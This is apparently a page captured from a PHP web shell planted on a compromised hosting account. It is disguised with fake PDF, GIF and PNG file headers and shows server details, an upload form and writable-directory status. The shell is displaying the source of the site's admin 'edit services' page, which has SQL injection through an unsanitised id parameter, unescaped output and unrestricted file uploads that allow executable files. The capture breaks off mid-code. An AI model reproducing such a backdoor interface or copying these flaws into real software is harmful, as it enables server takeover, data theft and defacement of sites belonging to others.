%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_7c8ed5ef/admin/manage_services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_7c8ed5ef/admin/manage_services/edit.php
<?php 
error_reporting(0);
include("../function.php");
if($_SESSION['admin_id']==""){
header('location:../login.php');

}
$service_tbl=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM admin WHERE admin_id='".$_SESSION['admin_id']."'"));

// Sidebar strat
include('../include/sidebar.php');
// Sidebar wrap
$id=$_REQUEST['id'];
 ini_set('display_startup_errors', 1);
 ini_set('display_errors', 1);
 error_reporting(E_ALL);
?>

<!-- [ Main Content ] start -->
<section class="pcoded-main-container">
    <div class="pcoded-content">
        <!-- [ breadcrumb ] start -->
        <div class="page-header">
            <div class="page-block">
                <div class="row align-items-center">
                    <div class="col-md-12">
                        <div class="page-header-title">

 <div class="card-header d-flex justify-content-between">
<button class="btn btn-light text-white fw-bold btn-sm btn-round has-ripple"><i class="feather icon-edit"></i>&nbsp;  Update Services</button>
</div>
                        </div>
                     
                    </div>
                </div>
            </div>
        </div>
        <!-- [ breadcrumb ] end -->
        <!-- [ Main Content ] start -->
        
<div class="row">

<div class="col-md-12">
<div class="card">
<!-- <div class="card-header d-flex justify-content-between">
</div> -->
<div class="card-body">
<?php if(isset($_SESSION['message'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<i class="feather icon-thumbs-up text-success"></i>&nbsp; &nbsp;<strong class="text-dark">'.$_SESSION['message'].'</strong> 
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['message']); 
?>

<?php if(isset($_SESSION['img_error'])){
echo '<div class="alert alert-danger alert-dismissible fade show" role="alert">
<i class="feather icon-alert-triangle text-danger"></i>&nbsp; &nbsp;<strong class="text-dark">'.$_SESSION['img_error'].'</strong> 
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['img_error']); 
?> 

                      
<form method="POST"  enctype="multipart/form-data" autocomplete="off" > 
<?php
$fetchData=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM service_tbl WHERE id='".$_REQUEST['id']."'"));

?>
<div class="container">                     
<div class="row"> 

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Title </label>
<input type="text" name="title" class="form-control" value="<?php if($id!=''){ echo $fetchData['title']; }?>">
</div>
</div>

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Content</label>
<textarea row="3" name="content" class="form-control"><?php if($id!=''){ echo $fetchData['content']; }?></textarea>
</div>
</div>

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Description 1</label>
<input type="text" name="description1" class="form-control" value="<?php if($id!=''){ echo $fetchData['description1']; }?>">
</div>
</div>

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Description 2</label>
<input type="text" name="description2" class="form-control" value="<?php if($id!=''){ echo $fetchData['description2']; }?>">
</div>
</div>

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Description 3</label>
<input type="text" name="description3" class="form-control" value="<?php if($id!=''){ echo $fetchData['description3']; }?>">
</div>
</div>

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Description 4</label>
<input type="text" name="description4" class="form-control" value="<?php if($id!=''){ echo $fetchData['description4']; }?>">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Description 5</label>
<input type="text" name="description5" class="form-control" value="<?php if($id!=''){ echo $fetchData['description5']; }?>">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Description 6</label>
<input type="text" name="description6" class="form-control" value="<?php if($id!=''){ echo $fetchData['description6']; }?>">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Faq Heading</label>
<textarea row="3" name="faqheading" class="form-control"><?php if($id!=''){ echo $fetchData['faqheading']; }?></textarea>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">faq Description</label>
<textarea row="3" name="faqdescription" class="form-control"><?php if($id!=''){ echo $fetchData['faqdescription']; }?></textarea>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">team Heading</label>
<textarea row="3" name="teamheading" class="form-control"><?php if($id!=''){ echo $fetchData['teamheading']; }?></textarea>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">team Description</label>
<textarea row="3" name="teamdescription" class="form-control"><?php if($id!=''){ echo $fetchData['teamdescription']; }?></textarea>
</div>
</div>
<div class="col-md-6 mb-2">
<div class="form-group">
<label for="image" class=" form-control-label mb-2">Image</label>
<input type="file" name="image1" class="form-control">
<p id="error1" style="color:red; display:none;">File Must be JPEG,JPG,PNG,SVG</p>
<p id="error2" style="color:red; display:none;">File Must be lessthan 20MB</p>
</div>
<?php if($id!=''){ echo'<img src="'.$base_url.'images/Upload/Services/'.$fetchData['image1'].'" style="width: 120px; height: 100px;">'; 
}?>
</div>

<div class="col-md-6 mb-2">
<div class="form-group">
<label for="image" class=" form-control-label mb-2">Icon class (60px-60px)</label>
<input type="file" name="icon_class" class="form-control">
<p id="error1" style="color:red; display:none;">File Must be JPEG,JPG,PNG,SVG</p>
<p id="error2" style="color:red; display:none;">File Must be lessthan 20MB</p>
</div>
<?php if($id!=''){ echo'<img src="'.$base_url.'images/Upload/Services/'.$fetchData['icon_class'].'" style="width: 120px; height: 100px;">'; 
}?>
</div>
                        
<br>
<div class="bg-warning text-center my-4">
    <h3 class="text-white">Services Images Section</h3>
</div>
<br>


<div class="col-md-12 ">
<div class="form-group">
<div class="row" id="input-container">

<div class="col-lg-5">
<h4>Services Image</h4>
<input type="file" name="servicesimage1_atb" class="form-control" id="picture1">
<p id="error3" style="display:none; color:#FF0000;">
    Invalid Image Format! Image Format Must Be JPG, JPEG, PNG or Webp.
</p>
<p id="error4" style="display:none; color:#FF0000;">
    Maximum File Size Limit is 5MB.
</p>
<img src="<?=$base_url?>images/Upload/Services/<?=$fetchData["servicesimage1_atb"];?>" style="width:100px; height:100px; margin:10px;">
</div>



<div class="col-lg-2 mt-4">
<a id="myButton" class="bg-success form-control text-center text-white fw-bold mt-1 mb-2">Add More</a>
</div>                                    
                                   
</div>
                                
</div>
<?php
$attribute=mysqli_query($conn,"SELECT * FROM `service_image_atb_tbl` WHERE project_id='$id' Order by id desc");
if(mysqli_num_rows($attribute)>0){ ?>

<?php
$Atb=mysqli_query($conn,"SELECT * FROM `service_image_atb_tbl` WHERE project_id='$id' Order by id desc");
while($row=mysqli_fetch_array($Atb)){ ?>

<div class="form-group input-element data-item">

<input type="hidden" name="id_editatb[]" class="form-control" required value="<?=$row['id']?>" >
<div class="row">

<div class="col-lg-5">
<h4>Services Image</h4>
<input type="file" name="image_editatb[]" class="form-control">
<img src="<?=$base_url?>images/Upload/Services/<?=$row["serviceimage1"];?>" style="width:100px; height:100px; margin:10px;">
</div>



<div class="col-lg-2 mt-4">
<a class="bg-danger form-control text-center text-white fw-bold delete-btn" data-id="<?=$row['id']?>">Remove</a>
</div>  
                                   
</div>
                                
</div>

<?php } ;?>


<?php } else { ?>

<?php } ?>  



</div>
<br>
<div class="bg-warning text-center my-4">
    <h3 class="text-white">Faq Section</h3>
</div>
<br>


<div class="col-md-12 ">
<div class="form-group">
<div class="row" id="input-container1">

<div class="col-lg-5">
<h4>Faq Image</h4>
<input type="file" name="faqimage1_atb" class="form-control" id="picture1">
<p id="error3" style="display:none; color:#FF0000;">
    Invalid Image Format! Image Format Must Be JPG, JPEG, PNG or Webp.
</p>
<p id="error4" style="display:none; color:#FF0000;">
    Maximum File Size Limit is 5MB.
</p>

<img src="<?=$base_url?>images/Upload/Services/<?=$fetchData["faqimage1_atb"];?>" style="width:100px; height:100px; margin:10px;">
</div>

<div class="col-lg-5">
<h4>Faq Heading</h4>
<input type="text" name="faqheading1_atb" class="form-control" id="faqheading1_atb" value="<?=$fetchData["faqheading1_atb"];?>">
</div>
<div class="col-lg-5">
<h4>Faq Content</h4>
<textarea name="faqcontent1_atb" class="form-control" id="faqcontent1_atb"><?=$fetchData["faqcontent1_atb"];?></textarea>
</div>

<div class="col-lg-2 mt-4">
<a id="myButton1" class="bg-success form-control text-center text-white fw-bold mt-1 mb-2">Add More</a>
</div>                                    
                                   
</div>
                                
</div>
<?php
$attribute1=mysqli_query($conn,"SELECT * FROM `services_faq_atb_tbl` WHERE project_id='$id' Order by id desc");
if(mysqli_num_rows($attribute1)>0){ ?>

<?php
$Atb1=mysqli_query($conn,"SELECT * FROM `services_faq_atb_tbl` WHERE project_id='$id' Order by id desc");
while($row1=mysqli_fetch_array($Atb1)){ ?>

<div class="form-group input-element1 data-item1">

<input type="hidden" name="id_editatb1[]" class="form-control" required value="<?=$row1['id']?>" >
<div class="row">

<div class="col-lg-5">
<h4>Faq Image</h4>
<input type="file" name="image_editatb1[]" class="form-control">
<img src="<?=$base_url?>images/Upload/Services/<?=$row1["faqimage1"];?>" style="width:100px; height:100px; margin:10px;">
</div>

<div class="col-lg-5">
<h4>Faq Heading</h4>
<input type="text" name="faqheading1[]" class="form-control" id="faqheading1" value="<?=$row1["faqheading1"];?>">
</div>
<div class="col-lg-5">
<h4>Faq Content</h4>

<textarea name="faqdescription1[]" class="form-control" id="faqdescription1"><?=$row1["faqdescription1"];?></textarea>
</div>

<div class="col-lg-2 mt-4">
<a class="bg-danger form-control text-center text-white fw-bold delete-btn1" data-id="<?=$row1['id']?>">Remove</a>
</div>  
                                   
</div>
                                
</div>

<?php } ;?>


<?php } else { ?>

<?php } ?>  



</div>
<br>
<div class="bg-warning text-center my-4">
    <h3 class="text-white">Team Section</h3>
</div>
<br>


<div class="col-md-12 ">
<div class="form-group">
<div class="row" id="input-container2">

<div class="col-lg-5">
<h4>Team Image</h4>
<input type="file" name="teamimage1_atb" class="form-control" id="picture1">
<p id="error3" style="display:none; color:#FF0000;">
    Invalid Image Format! Image Format Must Be JPG, JPEG, PNG or Webp.
</p>
<p id="error4" style="display:none; color:#FF0000;">
    Maximum File Size Limit is 5MB.
</p>
<img src="<?=$base_url?>images/Upload/Services/<?=$fetchData["teamimage1_atb"];?>" style="width:100px; height:100px; margin:10px;">
</div>

<div class="col-lg-5">
<h4>Team Heading</h4>
<input type="text" name="teamheading1_atb" class="form-control" id="teamheading1_atb" value="<?=$fetchData["teamheading1_atb"];?>">
</div>
<div class="col-lg-5">
<h4>Team Content</h4>

<textarea name="teamcontent1_atb" class="form-control" id="teamcontent"><?=$fetchData["teamcontent1_atb"];?></textarea>
</div>

<div class="col-lg-2 mt-4">
<a id="myButton2" class="bg-success form-control text-center text-white fw-bold mt-1 mb-2">Add More</a>
</div>                                    
                                   
</div>
                                
</div>
<?php
$attribute2=mysqli_query($conn,"SELECT * FROM `services_team_atb_tbl` WHERE project_id='$id' Order by id desc");
if(mysqli_num_rows($attribute2)>0){ ?>

<?php
$Atb2=mysqli_query($conn,"SELECT * FROM `services_team_atb_tbl` WHERE project_id='$id' Order by id desc");
while($row2=mysqli_fetch_array($Atb2)){ ?>

<div class="form-group input-element2 data-item2">

<input type="hidden" name="id_editatb2[]" class="form-control" required value="<?=$row2['id']?>" >
<div class="row">

<div class="col-lg-5">
<h4>Team Image</h4>
<input type="file" name="image_editatb2[]" class="form-control">
<img src="<?=$base_url?>images/Upload/Services/<?=$row2["teamimage1"];?>" style="width:100px; height:100px; margin:10px;">
</div>

<div class="col-lg-5">
<h4>Team Heading</h4>
<input type="text" name="teamtitle1[]" class="form-control" id="teamtitle1" value="<?=$row2["teamtitle1"];?>">
</div>
<div class="col-lg-5">
<h4>Team Content</h4>

<textarea name="teamcontent[]" class="form-control" id="teamcontent"><?=$row2["teamcontent"];?></textarea>
</div>

<div class="col-lg-2 mt-4">
<a class="bg-danger form-control text-center text-white fw-bold delete-btn2" data-id="<?=$row2['id']?>">Remove</a>
</div>  
                                   
</div>
                                
</div>

<?php } ;?>


<?php } else { ?>

<?php } ?>  



</div>




<!-- Muliple Product images color etc wrap edit --->

<!-- 
<div class="col-md-6 mb-2">
<div class="form-group">
<label for="image" class=" form-control-label mb-2">Image</label>
<input type="file" name="image1" class="form-control">
<p id="error1" style="color:red; display:none;">File Must be JPEG,JPG,PNG,SVG</p>
<p id="error2" style="color:red; display:none;">File Must be lessthan 20MB</p>
</div>
<?php if($id!=''){ echo'<img src="'.$base_url.'images/Upload/Services/'.$fetchData['image1'].'" style="width: 120px; height: 100px;">'; 
}?>
</div>

<div class="col-md-6 mb-2">
<div class="form-group">
<label for="image" class=" form-control-label mb-2">Icon class (60px-60px)</label>
<input type="file" name="image1" class="form-control">
<p id="error1" style="color:red; display:none;">File Must be JPEG,JPG,PNG,SVG</p>
<p id="error2" style="color:red; display:none;">File Must be lessthan 20MB</p>
</div>
<?php if($id!=''){ echo'<img src="'.$base_url.'images/Upload/Services/'.$fetchData['icon_class'].'" style="width: 120px; height: 100px;">'; 
}?>
</div> -->




<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="status">Status</label>
<select class="form-select" name="status" required>
<option value="">Please select status</option>
<option value="1" <?=($fetchData['status']==1)?'selected':''?>>Show</option>
<option value="0" <?=($fetchData['status']==0)?'selected':''?>>Hide</option>
</select>
</div>
</div>

<div class="col-md-12">
<div class="form-group">
<button  name="edit" type="submit" class="btn btn-success">Update</button>
<a class="text-white btn btn-secondary" href="show.php?page=serv">Back</a>
</div>
</div> 

                                
</div>                               
                          
</div>

 </form>                      
                                           
</div>
</div>
</div>
            
<!-- [ form-element ] end -->
</div>
<!-- [ Main Content ] end -->
</div>
</section>


    <!-- Required Js -->
<?php include('../include/footer.php'); ?>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>

<!-- <script>
$(document).ready(function() {
  $("#myButton").click(function() {
    $.ajax({
      url: "insert_input.php",
      success: function(html) {
        $("#input-container").append(html);
      }
    });
  });
});

$(document).on("click", ".remove-input", function() {
  $(this).closest(".input-element").remove();
});


$(document).ready(function() {
  $('.delete-btn').on('click', function() {
    var itemId = $(this).data('id');
    var deleteButton = $(this);

    $.ajax({
      url: 'delete_product.php',
      method: 'POST',
      data: { id: itemId },
      success: function(response) {
        // Handle the response from the server
        console.log(response);

        // Remove the deleted data from the DOM
        deleteButton.closest('.data-item').remove();
      },
      error: function(xhr, status, error) {
        // Handle the error
        console.log(error);
      }
    });
  });
});
</script> -->
<script>
$(document).ready(function() {
  $("#myButton").click(function() {
    $.ajax({
      url: "insert_input.php",
      success: function(html) {
        $("#input-container").append(html);
      }
    });
  });
});

$(document).on("click", ".remove-input", function() {
  $(this).closest(".input-element").remove();
});


$(document).ready(function() {
  $('.delete-btn').on('click', function() {
    var itemId = $(this).data('id');
    var deleteButton = $(this);

    $.ajax({
      url: 'delete_product.php',
      method: 'POST',
      data: { id: itemId },
      success: function(response) {
        // Handle the response from the server
        console.log(response);

        // Remove the deleted data from the DOM
        deleteButton.closest('.data-item').remove();
      },
      error: function(xhr, status, error) {
        // Handle the error
        console.log(error);
      }
    });
  });
});
</script>

<script>
$(document).ready(function() {
  $("#myButton1").click(function() {
    $.ajax({
      url: "insert_inputfaq.php",
      success: function(html) {
        $("#input-container1").append(html);
      }
    });
  });
});

$(document).on("click", ".remove-input1", function() {
  $(this).closest(".input-element1").remove();
});


$(document).ready(function() {
  $('.delete-btn1').on('click', function() {
    var itemId = $(this).data('id');
    var deleteButton = $(this);

    $.ajax({
      url: 'delete_productfaq.php',
      method: 'POST',
      data: { id: itemId },
      success: function(response) {
        // Handle the response from the server
        console.log(response);

        // Remove the deleted data from the DOM
        deleteButton.closest('.data-item1').remove();
      },
      error: function(xhr, status, error) {
        // Handle the error
        console.log(error);
      }
    });
  });
});
</script>

<script>
$(document).ready(function() {
  $("#myButton2").click(function() {
    $.ajax({
      url: "insert_inputteam.php",
      success: function(html) {
        $("#input-container2").append(html);
      }
    });
  });
});

$(document).on("click", ".remove-input2", function() {
  $(this).closest(".input-element2").remove();
});


$(document).ready(function() {
  $('.delete-btn2').on('click', function() {
    var itemId = $(this).data('id');
    var deleteButton = $(this);

    $.ajax({
      url: 'delete_productteam.php',
      method: 'POST',
      data: { id: itemId },
      success: function(response) {
        // Handle the response from the server
        console.log(response);

        // Remove the deleted data from the DOM
        deleteButton.closest('.data-item2').remove();
      },
      error: function(xhr, status, error) {
        // Handle the error
        console.log(error);
      }
    });
  });
});
</script>
<?php
if (isset($_POST['edit'])) {



   $title=$_POST['title'];
   $title=str_replace("'", "\'", $title);

   $content=$_POST['content'];
   $content=str_replace("'","\'",$content);

   $description1=$_POST['description1'];
   $description1=str_replace("'","\'",$description1);

   $description2=$_POST['description2'];
   $description2=str_replace("'","\'",$description2);

   $description3=$_POST['description3'];
   $description3=str_replace("'","\'",$description3);

   $description4=$_POST['description4'];
   $description4=str_replace("'","\'",$description4);

   $description5=$_POST['description5'];
   $description5=str_replace("'","\'",$description5);

   $description6=$_POST['description6'];
   $description6=str_replace("'","\'",$description6);

   $faqheading=$_POST['faqheading'];
   $faqheading=str_replace("'","\'",$faqheading);

   $faqdescription=$_POST['faqdescription'];
   $faqdescription=str_replace("'","\'",$faqdescription);

   $teamheading=$_POST['teamheading'];
   $teamheading=str_replace("'","\'",$teamheading);

   $teamdescription=$_POST['teamdescription'];
   $teamdescription=str_replace("'","\'",$teamdescription);

   $faqheading1_atb = $_POST['faqheading1_atb'];
   $faqheading1_atb = str_replace("'", "\'", $faqheading1_atb);

   $faqcontent1_atb = $_POST['faqcontent1_atb'];
   $faqcontent1_atb = str_replace("'", "\'", $faqcontent1_atb);

   $teamheading1_atb = $_POST['teamheading1_atb'];
   $teamheading1_atb = str_replace("'", "\'", $teamheading1_atb);

   $teamcontent1_atb = $_POST['teamcontent1_atb'];
   $teamcontent1_atb = str_replace("'", "\'", $teamcontent1_atb);




   $status=$_POST['status'];

   $slug = create_url($title) . $_REQUEST['id'];

    // Handle image update
    if (!empty($_FILES['image1']['name'])) {
        $file_name = $_FILES['image1']['name'];
        $file_tmp = $_FILES['image1']['tmp_name'];
        $file_ext = strtolower(end(explode('.',$file_name)));

        $random_number = rand(111111111, 999999999);
        $new_file_name = $random_number . '.' . $file_ext;
        $file_path = "../../images/Upload/Services/" . $new_file_name;

        if (move_uploaded_file($file_tmp, $file_path)) {
            $dlt = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `service_tbl` WHERE id = '" . $_REQUEST['id'] . "'"));
            $dlt_path = "../../images/Upload/Services/" . $dlt['image1'];
            if (file_exists($dlt_path)) {
                unlink($dlt_path);
            }
            $sql = mysqli_query($conn, "UPDATE `service_tbl` SET `image1` = '$new_file_name' WHERE id = '" . $_REQUEST['id'] . "'");
        }
    }
   
    if (!empty($_FILES['icon_class']['name'])) {
      $file_name4 = $_FILES['icon_class']['name'];
      $file_tmp4 = $_FILES['icon_class']['tmp_name'];
      $file_ext4 = strtolower(end(explode('.',$file_name4)));

      $random_number4 = rand(111111111, 999999999);
      $new_icon_name4 = $random_number4 . '.' . $file_ext4;
      $file_path4 = "../../images/Upload/Services/" . $new_icon_name4;

      if (move_uploaded_file($file_tmp4, $file_path4)) {
          $dlt = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `service_tbl` WHERE id = '" . $_REQUEST['id'] . "'"));
          $dlt_path = "../../images/Upload/Services/" . $dlt['icon_class'];
          if (file_exists($dlt_path)) {
              unlink($dlt_path);
          }
          $sql = mysqli_query($conn, "UPDATE `service_tbl` SET `icon_class` = '$new_icon_name4' WHERE id = '" . $_REQUEST['id'] . "'");
      }
  }

    // if (!empty($_FILES['servicesimage1_atb']['name'])) {
    //     $file_name3 = $_FILES['servicesimage1_atb']['name'];
    //     $file_tmp3 = $_FILES['servicesimage1_atb']['tmp_name'];
    //     $file_ext3 = strtolower(end(explode('.',$file_name3)));

    //     $random_number3 = rand(111111111, 999999999);
    //     $new_file_name3 = $random_number3 . '.' . $file_ext3;
    //     $file_path3 = "../../images/Upload/Services/" . $new_file_name3;

    //     if (move_uploaded_file($file_tmp3, $file_path3)) {
    //         $dlt3 = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `service_tbl` WHERE id = '" . $_REQUEST['id'] . "'"));
    //         $dlt_path3 = "../../images/Upload/Services/" . $dlt3['servicesimage1_atb'];
    //         if (file_exists($dlt_path3)) {
    //             unlink($dlt_path3);
    //         }
    //         $sql = mysqli_query($conn, "UPDATE `service_tbl` SET `servicesimage1_atb` = '$new_file_name3' WHERE id = '" . $_REQUEST['id'] . "'");
    //     }
    // }
    if (!empty($_FILES['servicesimage1_atb']['name'])) {
      $file_name3 = $_FILES['servicesimage1_atb']['name'];
      $file_tmp3 = $_FILES['servicesimage1_atb']['tmp_name'];
      $file_ext3 = strtolower(end(explode('.',$file_name3)));

      $random_number3 = rand(111111111, 999999999);
      $new_icon_name3 = $random_number3 . '.' . $file_ext3;
      $file_path3 = "../../images/Upload/Services/" . $new_icon_name3;

      if (move_uploaded_file($file_tmp3, $file_path3)) {
          $dlt = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `service_tbl` WHERE id = '" . $_REQUEST['id'] . "'"));
          $dlt_path = "../../images/Upload/Services/" . $dlt['servicesimage1_atb'];
          if (file_exists($dlt_path)) {
              unlink($dlt_path);
          }
          $sql = mysqli_query($conn, "UPDATE `service_tbl` SET `servicesimage1_atb` = '$new_icon_name3' WHERE id = '" . $_REQUEST['id'] . "'");
      }
  }

    if (!empty($_FILES['faqimage1_atb']['name'])) {
        $file_name1 = $_FILES['faqimage1_atb']['name'];
        $file_tmp1 = $_FILES['faqimage1_atb']['tmp_name'];
        $file_ext1 = strtolower(end(explode('.',$file_name1)));

        $random_number1 = rand(111111111, 999999999);
        $new_icon_name1 = $random_number1 . '.' . $file_ext1;
        $file_path1 = "../../images/Upload/Services/" . $new_icon_name1;

        if (move_uploaded_file($file_tmp1, $file_path1)) {
            $dlt = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `service_tbl` WHERE id = '" . $_REQUEST['id'] . "'"));
            $dlt_path = "../../images/Upload/Services/" . $dlt['faqimage1_atb'];
            if (file_exists($dlt_path)) {
                unlink($dlt_path);
            }
            $sql = mysqli_query($conn, "UPDATE `service_tbl` SET `faqimage1_atb` = '$new_icon_name1' WHERE id = '" . $_REQUEST['id'] . "'");
        }
    }

    
    if (!empty($_FILES['teamimage1_atb']['name'])) {
        $file_name2 = $_FILES['teamimage1_atb']['name'];
        $file_tmp2 = $_FILES['teamimage1_atb']['tmp_name'];
        $file_ext2 = strtolower(end(explode('.',$file_name2)));

        $random_number2 = rand(111111111, 999999999);
        $new_icon_name2 = $random_number2 . '.' . $file_ext2;
        $file_path2 = "../../images/Upload/Services/" . $new_icon_name2;

        if (move_uploaded_file($file_tmp2, $file_path2)) {
            $dlt2 = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `service_tbl` WHERE id = '" . $_REQUEST['id'] . "'"));
            $dlt_path2 = "../../images/Upload/Services/" . $dlt2['teamimage1_atb'];
            if (file_exists($dlt_path2)) {
                unlink($dlt_path2);
            }
            $sql = mysqli_query($conn, "UPDATE `service_tbl` SET `teamimage1_atb` = '$new_icon_name2' WHERE id = '" . $_REQUEST['id'] . "'");
        }
    }
   

    // Update popular_packages_tbl content
    mysqli_query($conn, "UPDATE `service_tbl` SET 
    
    `title`='$title',
    `content`='$content',
    `description1`='$description1',
    `description2`='$description2',
    `description3`='$description3',
    `description4`='$description4',
    `description5`='$description5',
    `description6`='$description6',
    `faqheading`='$faqheading',
    `faqdescription`='$faqdescription',
    `teamheading`='$teamheading',
    `teamdescription`='$teamdescription',
    `faqheading1_atb`='$faqheading1_atb',
    `faqcontent1_atb`='$faqcontent1_atb',
    `teamheading1_atb`='$teamheading1_atb',
    `teamcontent1_atb`='$teamcontent1_atb',
    `slug`='$slug', 
    `status`='$status' WHERE
    `id` = '" . $_REQUEST['id'] . "'");

    // Handle updates to service_image_atb_tbl
 if (isset($_POST['id_editatb']) && is_array($_POST['id_editatb'])) {
    foreach ($_POST['id_editatb'] as $key => $id_editatb) {
        // Check if an image was uploaded
        if (!empty($_FILES['serviceimage1']['name'][$key])) {
            $imageEdit = rand(111111111, 999999999) . '_' . basename($_FILES['serviceimage1']['name'][$key]);
            $file_path = "../../images/Upload/Services/" . $imageEdit;

            // Move the uploaded file and update the database
            if (move_uploaded_file($_FILES['serviceimage1']['tmp_name'][$key], $file_path)) {
                $dlt = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `service_image_atb_tbl` WHERE id = '$id_editatb'"));
                $dlt_path = "../../images/Upload/Services/" . $dlt['serviceimage1'];

                // Delete old image if it exists
                if (file_exists($dlt_path)) {
                    unlink($dlt_path);
                }

                // Update image in the database
                $updateImageQuery = "UPDATE `service_image_atb_tbl` SET `serviceimage1` = '$imageEdit' WHERE id = '$id_editatb'";
                if (!mysqli_query($conn, $updateImageQuery)) {
                    die("Error updating image: " . mysqli_error($conn));
                }
            }
        }

    }
}

// Handle add to service_image_atb_tbl
if (isset($_FILES['serviceimage1']['name']) && is_array($_FILES['serviceimage1']['name'])) {
  foreach ($_FILES['serviceimage1']['name'] as $key => $val) {
      if (!empty($_FILES['serviceimage1']['name'][$key])) {
          $image = rand(111111111, 999999999) . '_' . basename($_FILES['serviceimage1']['name'][$key]);

          $file_path = "../../images/Upload/Services/" . $image;

          // Move the uploaded file and insert into the database
          if (move_uploaded_file($_FILES['serviceimage1']['tmp_name'][$key], $file_path)) {
              $insertQuery = "INSERT INTO `service_image_atb_tbl` (`project_id`,`serviceimage1`) VALUES ('" . $_REQUEST['id'] . "','$image' )";
              if (!mysqli_query($conn, $insertQuery)) {
                  die("Error inserting new image: " . mysqli_error($conn));
              }
          }
      }
  }
}


    // Handle updates to about_image_tbl
 if (isset($_POST['id_editatb1']) && is_array($_POST['id_editatb1'])) {
    foreach ($_POST['id_editatb1'] as $key => $id_editatb) {
        // Check if an image was uploaded
        if (!empty($_FILES['image_editatb1']['name'][$key])) {
            $imageEdit1 = rand(111111111, 999999999) . '_' . basename($_FILES['image_editatb1']['name'][$key]);
            $file_path1 = "../../images/Upload/Services/" . $imageEdit1;

            // Move the uploaded file and update the database
            if (move_uploaded_file($_FILES['image_editatb1']['tmp_name'][$key], $file_path1)) {
                $dlt1 = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `services_faq_atb_tbl` WHERE id = '$id_editatb'"));
                 $dlt_path1 = "../../images/Upload/Services/" . $dlt1['image_editatb1'];

                // Delete old image if it exists
                if (file_exists($dlt_path1)) {
                    unlink($dlt_path1);
                }

                // Update image in the database
                $updateImageQuery1 = "UPDATE `services_faq_atb_tbl` SET `faqimage1` = '$imageEdit1' WHERE id = '$id_editatb'";
                if (!mysqli_query($conn, $updateImageQuery1)) {
                    die("Error updating image: " . mysqli_error($conn));
                }
            }
        }

        // Update the title
        $title_editatb = mysqli_real_escape_string($conn, $_POST['faqheading1'][$key]);
        $content_editatb = mysqli_real_escape_string($conn, $_POST['faqdescription1'][$key]);
        $updateContentQuery = "UPDATE `services_faq_atb_tbl` SET `faqheading1` = '$title_editatb',`faqdescription1` = '$content_editatb' WHERE id = '$id_editatb'";
        mysqli_query($conn, $updateContentQuery);
    }
}

// Handle add to services_faq_atb_tbl
if (isset($_FILES['faqimage1']['name']) && is_array($_FILES['faqimage1']['name'])) {
  foreach ($_FILES['faqimage1']['name'] as $key => $val) {
    $title_atb = mysqli_real_escape_string($conn, $_POST['faqheading1'][$key]);
    $content_atb = mysqli_real_escape_string($conn, $_POST['faqdescription1'][$key]);
    $image1 = rand(111111111, 999999999) . '_' . basename($_FILES['faqimage1']['name'][$key]);
    $file_path = "../../images/Upload/Services/" . $image1;
    // Move the uploaded file and insert into the database
    if (move_uploaded_file($_FILES['faqimage1']['tmp_name'][$key], $file_path)) {
        $insertQuery = "INSERT INTO `services_faq_atb_tbl` (`project_id`,`faqimage1`,`faqheading1`,`faqdescription1`) VALUES ('" . $_REQUEST['id'] . "','$image1','$title_atb','$content_atb' )";
        if (!mysqli_query($conn, $insertQuery)) {
            die("Error inserting new image: " . mysqli_error($conn));
        }
      }
  }
}

    // Handle updates to about_image_tbl
 if (isset($_POST['id_editatb2']) && is_array($_POST['id_editatb2'])) {
    foreach ($_POST['id_editatb2'] as $key => $id_editatb) {
        // Check if an image was uploaded
        if (!empty($_FILES['image_editatb2']['name'][$key])) {
            $imageEdit2 = rand(111111111, 999999999) . '_' . basename($_FILES['image_editatb2']['name'][$key]);
            $file_path2= "../../images/Upload/Services/" . $imageEdit2;

            // Move the uploaded file and update the database
            if (move_uploaded_file($_FILES['image_editatb2']['tmp_name'][$key], $file_path2)) {
                $dlt2 = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `services_team_atb_tbl` WHERE id = '$id_editatb'"));
                 $dlt_path2 = "../../images/Upload/Services/" . $dlt2['image_editatb2'];

                // Delete old image if it exists
                if (file_exists($dlt_path2)) {
                    unlink($dlt_path2);
                }

                // Update image in the database
                $updateImageQuery2 = "UPDATE `services_team_atb_tbl` SET `teamimage1` = '$imageEdit2' WHERE id = '$id_editatb'";
                if (!mysqli_query($conn, $updateImageQuery2)) {
                    die("Error updating image: " . mysqli_error($conn));
                }
            }
        }

        // Update the title
